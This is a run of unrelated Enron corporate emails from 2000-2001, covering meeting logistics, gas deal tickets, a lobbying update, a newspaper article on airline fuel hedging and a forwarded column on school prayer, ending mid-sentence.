add Managing Director & CTO to Philippe on the org. chart.  Also send next 
draft and final to Jeff McMahon and Greg Whalley.

thanks,
m

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		Dec. 11, 2000 Volume 5.50
		
		Letter from the editor
		
		We're always tinkering with one area of the site or another trying to make it 
better. 
		
		This week, we've made some rather significant changes to the Deaths page on 
the site. And we're working on several more. 
		
		For starters, we've combined the pages with the news articles and the local 
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		In addition to the obituaries and death notices, we've added links to 
additional resources both for genealogical purposes and for those needing to 
make plans for a funeral. We'll add more links in this area as they become 
available. For instance, there's a link for an online search of birth and 
death records for Harris County now -- but not for the City of Houston or for 
the State of Texas. Those latter two governmental units don't provide online 
searches of their records yet. When they do, we'll add the links. And, yes, 
we are working to include Mic Barnette's Saturday column on genealogy from 
the newspaper. 
		
		The page still has a search box for the local death notices (and other 
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fyi
---------------------- Forwarded by Kay Mann/Corp/Enron on 03/07/2001 02:33 

Kay Mann
03/07/2001 02:25 PM
To: Suzanne Adams/HOU/ECT@ECT
cc: Sheila Tweed/HOU/ECT@ECT, Roseann Engeldorf/Enron@EnronXGate@ECT, Lisa 
Bills/Enron@EnronXGate@ECT, Scott 
Dieball/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt@ECT, Brian D 
Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT@ECT, Dean Russell/SF/ECT@ECT, Bill 
Williams/PDX/ECT@ECT, Ben Jacoby/HOU/ECT@ECT, Ed B Hearn III/HOU/ECT@ECT, 
p.thompson@andrews-kurth.com@ECT, stephen.swift@ps.ge.com@ECT, 
michael.barnas@ps.ge.com@ECT, kent.shoemaker@ae.ge.com@ECT, Bob 
Carter/HOU/ECT@ECT, John G Rigby/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT@ECT 

Subject: Re: GE Meeting Friday, March 9, 2001  

This confirms our agreement we reached today that we will start the meeting 
at 930am Central.

Kay

From: Suzanne Adams@ECT on 03/07/2001 02:14 PM
To: Sheila Tweed/HOU/ECT@ECT, Kay Mann/Corp/Enron@Enron, Roseann 
Engeldorf/Enron@EnronXGate, Lisa Bills/Enron@EnronXGate, Scott 
Dieball/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Brian D 
Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Dean Russell/SF/ECT@ECT, Bill 
p.thompson@andrews-kurth.com, stephen.swift@ps.ge.com, 
michael.barnas@ps.ge.com, kent.shoemaker@ae.ge.com, Bob Carter/HOU/ECT@ECT, 
John G Rigby/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: GE Meeting Friday, March 9, 2001

This is a reminder that the GE meeting will take place Friday, March 9, 2001, 
from 9:00 a.m. to 11:30 a.m. CST in EB30C2.  The dial-in information is as 
follows:

Dial In: 1-888-232-3866

Participant: 304279

Host (Sheila): 730800

Please give me a call at 713-853-7340 if you have any questions.  Thanks!  
Suzanne

John, can you give me an education on this ?

Frank

John Hodge
02/06/2001 11:58 AM
To: Ruth Concannon/HOU/ECT@ECT, Frank W Vickers/NA/Enron@Enron, Gil 
Muhl/Corp/Enron@ENRON, Phil DeMoes/Corp/Enron@ENRON, David 
Jones/NA/Enron@ENRON, Robin Barbe/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT, Brad 
McKay/HOU/ECT@ECT, Sean Boyle/Corp/Enron@ENRON, Julie A Gomez/HOU/ECT@ECT
cc:  

Subject: Iroquois Gas Transmission's Eastchester Expansion

Iroquois has shuffled their customer base for the expansion into New York 
City beginning in November 2002.  The following customers have executed 
binding Precedent Agreements for 10 year contracts that would require a 
buy-out if the shipper tried to exit:

     Volume

Con Ed       30,000 Dthd
Keyspan Ravenswood     60,000
Mirant Corporation     60,000
Orion Power      60,000
Virginia Power Energy Marketing   20,000

Total     230,000 Dthd

Iroquois has changed their interconnect with Con Ed to the Throgs Neck 
section of the Bronx along the East River.  They are also starting to plan an 
expansion of the Eastchester project that will increase deliveries by 100,000 
to 200,000 Dthd beginning in the 2004-2005 time frame.  This expansion is 
timed similar to the recently announced plans by Duke/Keyspan and El Paso for 
projects into Long Island.  Iroquois is targeting NYPA, NRG and other 
announced merchant plants.

Kaye:  Would you please schedule a meeting with John Suttle to discuss 
Harvard.  One hour will be fine.  Thanks.  Sara

Thanks so much for the message. I am hanging in and hanging on, as is everyone else. I have never seen such courage and strength in an uncertain environment. Thanks for your offer.. You hang in there too.

From: Enron Canada General Announcements 
Sent: Friday, November 30, 2001 7:51 AM
To: DL-GA-Canada_Calgary
Subject: Front Doors

Enron Canada will be locking the front doors today (Friday, November 30, 2001).  

Visitors will be allowed in by appointment only.  If you are expecting any guests, please inform front reception at Ext. 6700.

Thank you. 

Shelley,
       I haven't seen any invitation list for Friday's Plan Review with Stan yet, but we are up at 10:00 and will go until 1:00.  I'd like you to be in through the whole thing if possible.  After that, do you think that you and I should walk through the whole plan with the key people in your group (and maybe Steve's)?  Give me a call if you haven't received the Plan handouts by tomorrow.  Thanks.

Dan

Have a great weekend eating soggy hotdogs in misty, damp weather, dreaming of 
Genia on her cruise, all the while wondering about the meaning of quality 
time.  See you Monday am, not sharp.

Bye

Kinder Morgan Transfers $300M in Assets to MLP

Kinder Morgan, Inc. announced plans to contribute $300 million in assets to 
Kinder Morgan Energy Partners, L.P., the company's master limited 
partnership. The largest asset to be contributed is Kinder Morgan Texas 
Pipeline, formerly MidCon Texas, a 2,600-mile natural gas pipeline system 
that extends from South Texas to Houston along the Texas Gulf Coast. 

Other assets include the Casper and Douglas Gas Gathering and Processing 
Systems, KMI's 50% interest in Coyote Gas Treating and KMI's 25% interest in 
Thunder Creek Gas Services. As consideration for the assets, KMI will receive 
$300 million, 50% in cash and 50% in KMP partnership units. KMI expects the 
transaction to be completed in the fourth quarter. 

"This transaction represents a true win-win for both KMI and KMP," said 
Kinder Morgan CEO Rich Kinder. "It is expected to be accretive to cash 
available for distribution to KMP's unitholders by between 5-10 cents in 
2001. The pipeline assets are a good fit for KMP because they complement 
existing KMP assets, have long-term contracts in place and offer significant 
growth opportunities." Kinder noted that because the mix of consideration 
paid will include equity issued to KMI, it will not be necessary to raise 
funds for the transaction via a public offering of KMP units. 

"KMI will also benefit from the transaction, as it will be able to reduce its 
debt by $150 million," Kinder said. "Additionally, the transaction is 
expected to be modestly accretive to KMI's earnings per share in 2001. By 
increasing its stake in the master limited partnership, KMI will enjoy 
greater participation in the expected future growth of KMP." 

Upon closing, KMP will have completed in excess of $600 million of 
acquisitions in 2000. In addition, this transaction will boost KMI's total 
asset contribution to KMP to more than $1 billion, far exceeding the original 
goal stipulated when Kinder Morgan merged with KN Energy last July. 

He's a bum!

	08/18/2000 09:53 AM
		
		 cc: 
		 Subject: Re: Organisational Announcement

All except Chapman.

BEAR Holiday Fundraiser
2001 Holiday Shopping Card benefiting the American Cancer Society
Enron Kids 2001 Holiday Program
Support the Museum of Natural Science at the Crate & Barrel Opening Night Preview Party
Enron Night with the Houston Aeros
Free Carwashes for Enron Employees
American Heart Association "Heart Walk"

Volunteer for the 2001 Nutcracker Market "A World of Holiday Shopping"

CPR/First Aid Training 
Mammogram Screening
November is Lung Cancer Awareness Month

Involved Employees
Par "Fore" Pets Golf Tournament

FYI.
----- Forwarded by Jeff Dasovich/NA/Enron on 03/15/2001 09:50 AM -----

	Mike D Smith@EES
	03/15/2001 09:13 AM
		 
		 To: Marty Sunde/HOU/EES@EES, Dan Leff/HOU/EES@EES, Peggy 
Mahoney/HOU/EES@EES, Tom Riley/Western Region/The Bentley Company@Exchange, 
Evan Hughes/HOU/EES@EES, Dennis Benevides/HOU/EES@EES, Jeff 
Dasovich/NA/Enron@Enron, Jeff Messina/HOU/EES@EES
		 cc: Vicki Sharp/HOU/EES@EES, Robert C Williams/Enron@EnronXGate
		 Subject: UCCSU Filings 3-14

Attached you will find the brief we filed yesterday in the UC-CSU matter and 
the declarations of several Enron people and an expert supporting our 
positions.  The filing yesterday was only to oppose the universities' request 
to shorten the briefing and hearing schedule on their motion for a 
preliminary injunction.  Next step will be to file our opposition to the 
motion for preliminary injunction, and the date for filing those documents 
will be set by the court.  Please let us know if you have any questions.

Preliminary congratulations!.    Looks like a good plan.  Keep me posted.

Stephen D Burns@ENRON
07/19/2000 01:47 AM
To: Richard Shapiro/HOU/EES@EES, James D Steffes/HOU/EES@EES
cc: Scott Bolton/Enron Communications@Enron Communications, Joe 
Hillings/Corp/Enron@ENRON, Chris Long/Corp/Enron@ENRON (bcc: Steven J 
Kean/HOU/EES)
Subject: BLM/Forest Service Right-of-Way Update

The Senate voted on the Interior Appropriations Bill late yesterday.  Our 
amendment passed, which prevents either BLM or the Forest Service from 
enacting new fiber optic federal lands rights-of-way policies.  The BLM made 
a last ditch effort to defeat this in the Senate, but we had reached key 
Senators and staff and they got nowhere.

Action now moves to Conference, which for us means a focus on the House 
Conference members.  Scott and I will spend the next 2 days meeting with the 
key Republicans in the House.  We've already recruited the important 
Democrats.  Interior Approps Subcommittee Chairman Regula remains opposed, at 
least publicly, but we think we can get other Members to swing him.  We trust 
he'll come up with a sensible, face saving compromise on his own, eg, 
formally beginning a review process with his Subcommittee having oversight -- 
at this point, our language literally forbids BLM or Forest Service from even 
meeting to discuss the issue.

We continue, though, on several other fronts:

1. We have the New Dems writing OMB on the issue and several Senators and 
Congressmen writing BLM and USFS
2. We've increased the pressure on the White House, and are letting them know 
through very senior back door channels that in our opinion, BLM/Forest 
Service have not gotten the message.  Our position is that we'll be satisfied 
that they've changed their evil ways when the new assessment on the Mt. Hood 
EBS build is retracted.
3. We're preparing both Senate and House authorizing Committees for the 
longer-term issue next session.  We have no trouble finding champtions eager 
to own the issue
4. We're engaging the Western Caucus for same
5. Our adhoc coalition continues to grow in numbers and clout with over 20 
companies and associations now actively engaged.  Enron chairs this 
initiative, with a tangible side benefit being much increased visibility and 
stature as a serious communications player.
6. Scott is successfully engaging state and local officials to weigh in from 
the end-user perspective

BLM is on the retreat and has asked for a meeting, which we've refused.   We 
don't think they've given up though, and it's likely an issue of pride at 
this point.  So until the Approps process concludes we're continuing with the 
full court press.

Steve

Vance,

Deal # 586029 has been modified to reflect 2% less as fuel.

Bob

02/12/2001 04:35 PM
cc: Julie Meyers/HOU/ECT@ECT, Lisa Hesse/HOU/ECT@ECT, Cynthia 
Hakemack/HOU/ECT@ECT, Susan Smith/HOU/ECT@ECT, Donald P 
Reinhardt/HOU/ECT@ECT, Melissa Graves/HOU/ECT@ECT 
Subject: FIRST DELIVERY - CODY

Bob,

The following production is now on-line and sitara ticket no. ????? should be 
modified in sitara based on the following:

Counterparty   Meter   Volumes  Price    Period  Global No.
Cody Energy LLC  9864   20,000mmbtu/d  Less 2 % as fuel                 100% 
GD less $0.21  2/12 - 2/28 96052809

FYI, a firm ticket has already been created and submitted for the remaining 
term of the deal beginning with the month of March.  Additionally, this is a 
Producer Svcs. deal and should be tracked in the IM Wellhead portfolio... 
attached to the gathering contract.

Thanks,

vlt
x3-6353
---------------------- Forwarded by Vance L Taylor/HOU/ECT on 02/12/2001 
04:15 PM ---------------------------
   
	From:  Esther Buckley                           02/12/2001 03:45 PM
	
To: Molly L Carriere/HOU/ECT@ECT, Clem Cernosek/HOU/ECT@ECT, Donna 
Consemiu/HOU/ECT@ECT, Robert Cook/HOU/ECT@ECT, Howard B Camp/HOU/ECT@ECT, 
Lisa Hesse/HOU/ECT@ECT, Nathan L Hlavaty/HOU/ECT@ECT, Wayne E 
Lightfoot/HOU/ECT@ECT, James McKay/HOU/ECT@ECT, Mary M Smith/HOU/ECT@ECT, 
Steve HPL Schneider/HOU/ECT@ECT, Melissa Graves/HOU/ECT@ECT, Michael 
Walters/HOU/ECT@ECT, Eric Wardle/HOU/ECT@ECT, Jill T Zivley/HOU/ECT@ECT, Mary 
Jo Johnson/HOU/EES@EES, Rita Wynne/HOU/ECT@ECT, Lauri A Allen/HOU/ECT@ECT, 
Cheryl Jones/GPGFIN/Enron@ENRON, Reid Hansen/GCO/Enron@Enron, Darron C 
Giron/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, Susan Smith/HOU/ECT@ECT, 
Gary Bryan/HOU/ECT@ECT, Gary A Hanks/HOU/ECT@ECT, Donald P 
Reinhardt/HOU/ECT@ECT, Vance L Taylor/HOU/ECT@ECT, David 
Baumbach/HOU/ECT@ECT, Robert Cotten/HOU/ECT@ECT, Brian M Riley/HOU/ECT@ECT, 
Jeff A Austin/HOU/EES@EES, Cynthia Hakemack/HOU/ECT@ECT, Dawn C 
Kenne/HOU/ECT@ECT, Lisa Csikos/HOU/ECT@ECT, J R Fosdick/GCO/Enron@Enron, 
Carlos J Rodriguez/HOU/ECT@ECT, Stephanie Gomes/HOU/ECT@ECT, Pat 
Clynes/Corp/Enron@ENRON, Tom Acton/Corp/Enron@ENRON, Robert 
Walker/HOU/ECT@ECT, George Weissman/HOU/ECT@ECT, JoAnne 
Harris/NA/Enron@Enron, Christy Sweeney/HOU/ECT@ECT, Earl Tisdale/HOU/ECT@ECT, 
Daren J Farmer/HOU/ECT@ECT
cc:  

See attached letter

EB

Jan. 5, 2001, 12:48AM
Contracts to ease blow of rise in fuel prices helping airlines 
Hedging your jets 
By LAURA GOLDBERG 
Copyright 2001 Houston Chronicle 
Faced with higher gasoline prices in the past year, consumers lamented the 
bite that rising oil prices were taking from their wallets. 
Other than driving less or buying cars that use less gas, there wasn't much 
they could do. 
Airlines, which consume billions of gallons of jet fuel a year, also felt the 
sting as prices fluctuated. 
But airlines, unlike drivers, can use financial tools to ease the pain of 
volatile fuel prices. 
As airlines begin rolling out their fourth-quarter earnings reports in the 
next few weeks, those that "hedged" on fuel are likely to show better profits 
than those that didn't. 
Not only was that the case last year, but it will continue to be the case if 
jet-fuel and oil prices remain high. 
Gary Kelly, chief financial officer at low-fare Southwest Airlines in Dallas, 
says hedging is "insurance against a catastrophic rise in fuel prices that 
would put us at unacceptable earnings levels." 
Hedges aren't agreements to buy fuel. They are financial contracts pegged to 
the prices of oil and oil products, such as heating oil and jet fuel. 
If airlines buy the contracts at the right prices, they can collect cash to 
compensate them when jet fuel goes up. 
Successful hedging didn't stop airlines from raising ticket prices last year 
to help cover rising fuel costs. But, airlines say, the increases might have 
been higher without hedging. 
When the industry's fuel bill for 2000 is tallied, it is expected to be $13 
billion -- 50 percent higher than the previous year's $8.5 billion, according 
to a recent report from airline stock analysts at Merrill Lynch. At the same 
time, the airlines used only 4 percent more fuel. 
If the industry hadn't hedged, fuel expenses would have been $2 billion to $3 
billion higher, the analysts wrote. AMR Corp., the parent of Fort Worth-based 
American Airlines, the No. 2 domestic carrier, is expected to save $550 
million alone because of its hedging, they noted. 
Airlines don't like wild spikes in fuel prices because they make it difficult 
to plan and they jeopardize profits. 
A consumer would face the same dilemma if one month's apartment rent was 
$600, the next it jumped to $1,200 and the next it fell to $800. 
That's similar to what airlines faced the past year as the benchmark price of 
jet fuel, which is made from crude oil, fluctuated widely on the spot market. 
It was above 88 cents a gallon in March, dipped below 66 cents in April, rose 
to almost $1.10 in September and was just over 78 cents the last week in 
December. 
Airlines hedge to help smooth out such ups and downs. 
Greg Hartford, vice president for fuel at Houston-based Continental Airlines, 
looks to hedging "to take volatility out of the market, not to second-guess 
it." 
There are a variety of hedging tools. Some, just like car or home insurance, 
require upfront premiums. 
Hedging can be done through futures exchanges, such as the New York 
Mercantile Exchange, or through institutions, including banks, investment 
houses and energy traders such as Houston-based Enron Corp. 
Hedging is about managing risk, said Bill Berkeland, manager of trading for 
Enron North America, an Enron Corp. subsidiary. Techniques to cope with fuel 
price risks have been around probably 20 years, he said, but airlines didn't 
adopt them until the last decade. 
Airline hedging has gained more attention recently because of jet-fuel price 
spikes, he said. Some carriers will be able to take victory laps for being 
smart enough to hedge, he added, while others will simply blame fuel prices 
for their earnings problems. 
Hedges are bought for specific amounts of product and time: 2 million barrels 
a month for the next three months, for example. They can be pegged to the 
prices of crude oil, heating oil or jet fuel. 
Continental generally sticks to three basic types of hedges -- swaps, caps 
and collars. Hartford outlined the way each works: 
? Swap: A swap is one of the simplest types. It essentially locks in the cost 
of energy at a specific price for a certain time. No upfront payments are 
required. 
For example, an airline takes out a swap for 1 million barrels of crude oil 
at $25 a barrel for February. If the price averages $28 during February, the 
airline is paid $3 million -- the difference between $28 and $25 a barrel for 
the million barrels. 
But if the cost averages $22 a barrel, the airline must pay $3 million. 
? Cap: With caps, airlines purchase "call options" that protect them when 
prices rise but don't penalize them if prices drop. Caps, however, require 
upfront premium costs, which are based on a variety of factors. 
For example, an airline buys a crude-oil cap at $25 a barrel for 1 million 
barrels for February. If at month's end, oil averaged $28 a barrel, the 
airline collects $3 million. 
If it averaged $22, the airline gains nothing but loses nothing. Its cost: 
the upfront price-per-gallon premium. 
? Collar: A collar is more complex. It involves buying two different tools 
that create a price range -- essentially a minimum and maximum. The airline 
benefits if fuel goes above the range's high end but pays if it goes below 
the minimum. It can be set up so no premium is paid. 
Intuitively, it would seem to make sense for airlines to hedge on jet fuel. 
But the market for trading jet fuel isn't as liquid, or as strong, as the one 
for crude oil. 
So airlines look for something that correlates to jet-fuel prices. Heating 
oil is often best, followed by crude oil. 
There are trade-offs. Premiums for jet-fuel hedges are more expensive than 
those for heating oil. In turn, heating-oil hedges are more expensive than 
crude. But using crude oil as a hedge may not smooth volatility as much 
because of fluctuations in the relationship between crude and jet fuel. 
In the first part of 1999, when crude oil traded for around $12 a barrel, 
Atlanta-based Delta Air Lines started buying hedging contracts pegged to 
heating oil as far as 36 months out, said Joe Kolshak, director of investor 
relations at the third-largest U.S. airline. 
Delta's strategy has served it well. For the quarter that ended Sept. 30, 
hedging, including premium costs, saved the Atlanta-based carrier from paying 
an extra $160 million in fuel costs, he said. Even with that gain, Delta 
still paid 37 percent more for fuel over the same period than the year 
before. 
For the Sept. 30 quarter and the four preceding it, Delta had net hedging 
gains of $600 million. 
Hedging gains also helped balance sheets at other airlines, including No. 5 
Continental and No. 7 Southwest. 
Southwest's Kelly said the airline's hedging last year met its goal of 
protecting against catastrophic fuel-price rises. In the third quarter, 
operating profits rose $43.1 million because of hedging. 
During the same quarter, Continental gained $27 million from hedging. For 
1999, it was $105 million. 
Hedging isn't without risk. Airlines can predict the wrong way and lose 
millions. And when prices are already sky-high, certain hedging contracts 
won't be attractive because they, too, are pegged to higher prices. 
"Hedging is not a panacea, and it's not the golden elixir that people might 
consider it to be," Continental's Hartford said. 

---------------------- Forwarded by Eric Bass/HOU/ECT on 06/29/2000 03:01 PM 

"Larry W. Bass" <lwbthemarine@bigplanet.com> on 06/29/2000 02:48:25 PM
To: peggy dan maynard <peggy@airmail.net>, Pam Day <pkjday@yahoo.com>, 
michael don ferguson <mfe252@mail.airmail.net>, "Marsters, Linda" 
<lmarsters@fortbend.k12.tx.us>, Julie & Mark Stevens <JUMACK@airmail.net>, 
joni drude <jfdr@chevron.com>, jason <jason.bass2@compaq.com>, "Henry C. 
McGill" <hmcgill-satx@worldnet.att.net>, gail stoops <Ggstops@aol.com>, Frank 
Marsters <marstersco@earthlink.net>, eric preston bass <Eric.Bass@enron.com>, 
christine marsters <wxranch@airmail.net>, Bill Daniel <bdaniel@pflash.com>, 
beth dahlberg <dhlbrg@aol.com>, Barbara Bass <xwb2@flash.net>, Andrea Lyles 
<andrearonnie@cs.com>, ryan darr <fastfeet15@aol.com>, richard and marty darr 
<Rdarr@flash.net>, lauren darr <L2giveJ@aol.com>
cc:  
Subject: Fw: When in Rome

?
From: Jack Rains  
To: jmrtexas@swbell.net 
Sent: Thursday, June 29, 2000 7:45 AM
Subject: When in Rome

?

Another view. I suspect we  have not heard the last of this debate

?

JR

?

?

?

Boy, if this ain't the  truth...

> > This just about sums it up!!
> >
> >  The following article ran in the Times Record News, Wichita  Falls,
Texas:
> >
> > When in Rome, Pray As........
>  > By: NICK GHOLSON
> >
> > Some people, it seems, get  offended way too easily.? I mean, isn't that
what all this prayer  hullabaloo is all about - people getting offended?
> >
> > At  least that's what I hear the courts and the ACLU telling us.? I am
not  easily offended.? Outside of getting run off the road by a Mack  truck,
nothing much offends me.? Daddy and Mama gave little Nicky a  sense of humor.
> >
> > Some people, however, either weren't  born with a sense of humor or they
lost it in a crap game.?? These  people are still in the minority, but those
of us in the majority are always  tippy-toeing around, trying to make sure we
don't step on the toes or hurt  the feelings of the humorless. And you can
bet there's a lawyer standing on  every corner making sure we don't.
> >
> > Take this prayer  deal.? It's absolutely ridiculous.? Some atheist goes
to a high  school football game, hears a kid say a short prayer before the
game and gets  offended.? So he hires a lawyer and goes to court and asks
somebody to  pay him a whole bunch of money for all the damage done to him.
You would have  thought the kid kicked him in the crotch.? Damaged for life
by a  30-second prayer?
> >
> > Am I missing something here? I don't  believe in Santa Claus, but I'm not
going to sue somebody for singing a  Ho-Ho-Ho song in December.? I don't
agree with Darwin, but I didn't go  out and hire a lawyer when my high school
teacher taught his theory of  evolution.
> >
> > Life, liberty or your pursuit of happiness  will not be endangered
because someone says a 30-second prayer before a  football game. So what's
the big deal?? It's not like somebody is up  there reading the entire book of
Acts.
> >
> > They're just  talking to a God they believe in and asking him to grant
safety to the  players on the field and the fans going home from the game.
> >
>  > "But it's a Christian prayer," some will argue. Yes, and this is  the
United States of America, a country founded on Christian principles And  we
are in the Bible Belt.? According to our very own phone book,  Christian
churches outnumber all others better than 200-to-1.? So what  would you
expect - somebody chanting Hare Krishna?? If I went to a  football game in
> > Jerusalem, I would expect to hear a Jewish  prayer.? If I went to a
soccer game in Baghdad, I would expect to hear a  Muslim prayer.? If I went
to a ping pong match in China, I would expect  to hear someone pray to
Buddha.
> >
> > And I wouldn't be  offended.? It wouldn't bother me one bit. When in
Rome...
>  >
> > "But what about the atheists?" is another argument.? What  about them?
Nobody is asking them to be baptized.? We're not going to  pass the
collection plate.? Just humor us for 30 seconds.? If  that's asking too much,
bring a walkman or a pair of ear plugs.? Go to  the bathroom.? Visit? the
concession stand.? Call your  lawyer.
> >
> > Unfortunately, one or two will make that call.  One or two will tell
thousands what they can and cannot do.? I don't  think a short prayer at a
football game is going to shake the world's  foundations.? Nor do I believe
that not praying will result in more  serious injuries on the field or more
fatal car crashes after the game.?  In fact, I'm not so sure God would even
> > be at all these games if He  didn't have to be.? That's just one of the
downsides of omnipresence. If  God really liked sports, the Russians would
never have won a single gold  medal, New York would never play in a World
Series and Deon Sanders' toe  would be healed by now.
> >
> > Christians are just sick and  tired of turning the other cheek while our
courts strip us of all our  rights.? Our parents and grandparents taught us
to pray before eating,  to pray before we go to sleep.? Our Bible tells us
just to pray without  ceasing.? Now a handful of people and their lawyers are
telling us to  cease praying.? God, help us.
> >
> > And if that last  sentence offends you - well............just sue  me.
>
>

Start Date: 4/19/01; HourAhead hour: 10;  No ancillary schedules awarded.  No 

Schedules\2001041910.txt

Looks like a permanent cancellation to me - at least for now!  We can work 
with Wes on the best ways to stay abreast of developing deals that impact 
Enron Americas.  
---------------------- Forwarded by Sally Beck/HOU/ECT on 02/21/2001 01:35 PM 
   
	From:  Michele Beffer @ ENRON                           02/21/2001 01:12 PM
	
To: Roger Ondreko/HOU/ECT@ECT, Cris Sherman/HOU/ECT@ECT, Stanley 
Farmer/Corp/Enron@ENRON, Herman Manis/Corp/Enron@ENRON, David 
Leboe/HOU/ECT@ECT, Drew Kanellopoulos/NA/Enron@Enron, Stephen H 
Douglas/HOU/ECT@ECT, Sally Beck/HOU/ECT@ECT, Hope Vargas/HOU/ECT, Rodney 
Faldyn/Corp/Enron@Enron, Faith Killen/HOU/ECT@ECT, Georgeanne 
Hodges/HOU/ECT@ECT, Susan Helton/HOU/ECT@ECT, Joseph Deffner/HOU/ECT, Gail 
Tholen/HOU/ECT@ECT, Thomas Myers/HOU/ECT, Jim Coffey/HOU/ECT@ECT, Mark 
Lian/Corp/Enron@ENRON, Tammy R Shepperd/HOU/ECT@ECT, Bob M Hall/NA/Enron@Enron
cc: Alisha Guerrero/HOU/ECT@ECT, Grace Taylor/Corp/Enron@ENRON, Patti 
Thompson/HOU/ECT@ECT, Paula Forsyth/Corp/Enron@ENRON, Shelley 
Grover/Corp/Enron@Enron, Megan Angelos/NA/Enron, Renee Ingram/HOU/ECT@ECT, 
Cindy Stokes/ENRON@enronXgate, Nicole Mendez/HOU/ECT, Lisa 
Lunz/Corp/Enron@ENRON, Kelly Ellis/Corp/Enron@Enron 
Subject: Wes' Hot List Meeting

Please note that Wes Colwell's Bi-weekly Hot List meeting has been cancelled, 
please remove these meetings from your calendar.  If you have any questions, 
please feel free to call myself or Michele Beffer at ext. 57681.  FYI, the 
next meeting was scheduled for 2/22 at 1:30pm.

This warning is sent automatically to inform you that your mailbox is approaching the maximum size limit.
Your mailbox size is currently 75766 KB.

Mailbox size limits:

	When your mailbox reaches 75000 KB you will receive this message.To check the size of your mailbox: 

  Right-click the mailbox (Outlook Today), 
  Select Properties and click the Folder Size button. 
  This method can be used on individual folders as well. 

To make more space available, delete any items that are no longer needed such as Sent Items and Journal entries.  

You must empty the Deleted Items folder after deleting items or the space will not be freed. 

To turn Journaling off, 
 click Tools | Options | Journaling Options and de-select all items. 

See client Help for more information.

Susan,

I have $50 for you from John.  Would you like for me to have it delivered to 
you or would you like to come by and pick it up?

If you would like it delivered, please let me know what your new EB location 
is.

Thanks

Kim Hillis
x30681

	Susan Skarness @ ECT
	05/16/2000 08:06 AM
	
To: John J Lavorato/Corp/Enron@Enron
cc:  

Subject: Summer Stroll for Epilepsy

Thank you very much for your support of me and Enron in the annual Summer 
Stroll for Epilepsy.   The event took place this past Saturday and was a lot 
of fun.  Your generous donation of $50 enabled me to pass my personal goal of 
$3,000 by $65. Thank you!!

We have been asked to collect the money by Friday, May 19, so if you will 
call me once your check is ready, I will be glad to pick it up.  Please make 
your check payable to the Epilepsy Foundation.  Thank you again for your 
donation and support!

Susan
3-6262

We recently asked you to create an eSpeak "wish list" for us.  The response 
was tremendous and, in some cases, very creative.  Your fellow employees 
asked for everyone from Britney Spears to George Bush.  In all, we received 
requests for 61persons outside of Enron to host an eSpeak event.  We thought 
you might like to know who your colleagues find interesting, so we've 
provided a sampling of the suggestions below.  Here are the top ten most 
requested eSpeakers.

10.  Jack Welch, CEO, General Motors 
9.  Scott McNeally, CEO, Sun Microsystems 
8.  Satisfied Enron Customers
7.  Stephen Covey, author, The Seven Habits of Highly Effective People
6.  Oprah Winfrey, talkshow host
5.  General Colin Powell, former Chairman, Joint Chiefs of Staff, U.S.A. 
4.  Alan Greenspan, Chairman, Federal Reserve, U.S.A.
3.  Former U.S. President George Bush 
2.  Bill Gates, CEO, Microsoft 
1.  Texas Governor George W. Bush

While we can't make any promises, we will do our best to bring in at least 
some of these special guests.  If you have any contacts who could help us get 
in touch with these guest speakers, please let us know at ethink@enron.com.  
Everybody needs a little help now and then, even eSpeak.

There were plenty of internal speakers requested, as well.  Those requests 
should be somewhat easier to meet, although scheduling time with some of our 
colleagues can be quite a task!

Thank you all for your participation.

---------------------- Forwarded by Jeff Dasovich/SFO/EES on 09/14/2000 10:34 

09/09/2000 02:34 PM
To: Leslie Lawner/HOU/EES@EES
cc:  
Subject: DRAFT message points for FERC hearing in San Diego

---------------------- Forwarded by Jeff Dasovich/SFO/EES on 09/09/2000 02:33 

09/08/2000 01:03 PM
To: skean@enron.com, Richard Shapiro/HOU/EES@EES, James D 
Steffes/HOU/EES@EES, Mary Hain/HOU/ECT@ECT, Joe Hartsoe/Corp/Enron@ENRON, 
Sarah Novosel/Corp/Enron@ENRON, Christi L Nicolay/HOU/ECT@ECT, 
Sandra_McCubbin@ees.enron.com, Paul Kaufman/PDX/ECT@ECT, Susan J 
Mara/SFO/EES@EES, Mona L Petrochko/SFO/EES@EES, Harry Kingerski/HOU/EES@EES, 
Maureen McVicker/NA/Enron@Enron, Elizabeth Linnell/NA/Enron@Enron, Cynthia 
Sandherr/Corp/Enron@ENRON
cc:  

Best,
Jeff

pls print what ever of this junk that I need.  df
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 10/30/2000 
   
	From:  Debbie Nowak                           10/27/2000 01:29 PM
	
To: Ted C Bland/HOU/ECT@ECT, Shelley Corman/ET&S/Enron@ENRON, Marie 
Hejka/Corp/Enron@ENRON, John R Keller/OTS/Enron@Enron, Billy 
Lemmons/Corp/Enron@ENRON, Dolores Lenfest/HR/Corp/Enron@ENRON, Amy 
Oberg/HOU/EES@EES, Brian Schaffer/Corp/Enron@ENRON, William S 
Bradford/HOU/ECT@ECT, Rick L Carson/HOU/ECT@ECT, John 
Dushinske/ET&S/Enron@ENRON, Drew Fossum/ET&S/Enron@ENRON, David 
Gorte/HOU/ECT@ECT, Don Hawkins/OTS/Enron@Enron, Bob Hillier/NA/Enron@Enron, 
Jeffrey T Hodge/HOU/ECT@ECT, George McCormick/HOU/ECT@ECT, Mary Kay 
Miller/ET&S/Enron@ENRON, Ted Murphy/HOU/ECT@ECT, Sue M 
Neville/ET&S/Enron@ENRON, Dave Odneal/ET&S/Enron@ENRON, Janet 
Place/NPNG/Enron@ENRON, Colleen Raker/ET&S/Enron@ENRON, Mikie 
Rath/HR/Corp/Enron@ENRON, Steve HPL Schneider/HOU/ECT@ECT
cc: Richard Amabile/HR/Corp/Enron@ENRON, Kirk McDaniel/HOU/EES@EES, "Howard 
Morgan" <howardmo@worldnet.att.net>, CherylRuth@aol.com 

Subject: P&D Facilitation Training - Preconference work

A MEMO FROM DICK AMABILE

Thanks for enrolling in the upcoming P&D Facilitation training.  In order to 
make the best use of our limited time at the meeting I am attaching a copy of 
the "draft" material which will appear on the Intranet Site regarding P&D 
(Participation & Dissent).   The intent is for you to review the material 
before the session to gain some insight into what P&D is all about.  This 
will save us the time of having to review this material at the session and 
allow us to focus specifically on facilitation skills for the P&D process.  
We apologize for the somewhat disjointed format.  At the moment it is the 
